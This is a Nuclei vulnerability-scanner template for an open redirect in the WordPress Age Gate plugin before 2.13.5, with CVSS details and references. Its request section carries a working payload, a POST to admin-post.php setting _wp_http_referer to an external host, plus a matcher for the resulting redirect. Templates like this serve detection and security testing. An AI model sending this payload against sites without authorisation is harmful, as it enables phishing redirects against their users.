nuclei-templates/vulnerabilities/wordpress/age-gate-open-redirect.yaml

36 lines
1.4 KiB
YAML
Raw Normal View History

2022-05-10 20:44:39 +00:00
id: age-gate-open-redirect
info:
name: WordPress Age Gate <2.13.5 - Open Redirect
2022-05-10 20:44:39 +00:00
author: akincibor
severity: low
description: WordPress Age Gate plugin before 2.13.5 contains an open redirect vulnerability via the _wp_http_referer parameter after certain actions and after invalid or missing nonces. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2022-05-10 20:44:39 +00:00
reference:
- https://wpscan.com/vulnerability/10489
- https://packetstormsecurity.com/files/160236/
- https://wordpress.org/plugins/age-gate
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-601
2022-05-10 20:44:39 +00:00
metadata:
verified: true
tags: agegate,unauth,wpscan,packetstorm,wp-plugin,redirect,wordpress,wp
2022-05-10 20:44:39 +00:00
requests:
- method: POST
path:
- '{{BaseURL}}/wp-admin/admin-post.php'
body: age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=https://interact.sh
2022-05-10 20:44:39 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
# Enhanced by md on 2022/10/18